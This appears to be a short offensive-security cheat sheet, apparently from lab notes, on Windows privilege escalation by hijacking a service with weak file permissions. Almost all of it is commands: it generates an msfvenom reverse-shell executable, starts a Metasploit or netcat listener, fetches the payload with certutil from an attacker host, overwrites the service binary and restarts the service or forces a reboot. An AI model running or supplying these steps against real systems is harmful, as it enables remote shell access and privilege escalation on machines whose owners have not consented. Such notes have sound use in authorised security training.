Exploiting a vulnerable service with Metasploit¶
-
Use
msfvenom
to create a reverse shell payload:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=[IP-ADDRESS] LPORT=[PORT] -f exe-service -o reverse.exe
Note
If the vulnerable service is running from Program Files (x86), create a 32-bit executable.
A 64-bit payload may not run properly in that case. -
Start a listener on the attacking machine:
msfconsole -q -x "use multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set LHOST tun0; set LPORT [PORT]; run"
Note
Alternatively, start a simple netcat listener:
sudo rlwrap -cAr nc -lvnp 1338
-
Transfer
reverse.exe
to the target machine:
certutil -urlcache -f http://10.11.92.52:8000/reverse.exe reverse.exe
-
Replace the vulnerable service binary (
filepermservice.exe
) with your payload, keeping the original binary name:Copy-Item -Path "C:\Temp\reverse.exe" -Destination "C:\Program Files\File Permissions Service\filepermservice.exe" -Force
Note
In
cmd
, you can use:
copy /y c:\Temp\reverse.exe "c:\Program Files\File Permissions Service\filepermservice.exe"
-
Restart the service to trigger execution:
or
net start filepermsvc
Important
If
SeShutdownPrivilege
is enabled, you can also reboot the machine to restart the service automatically:
shutdown /r /t 0 /f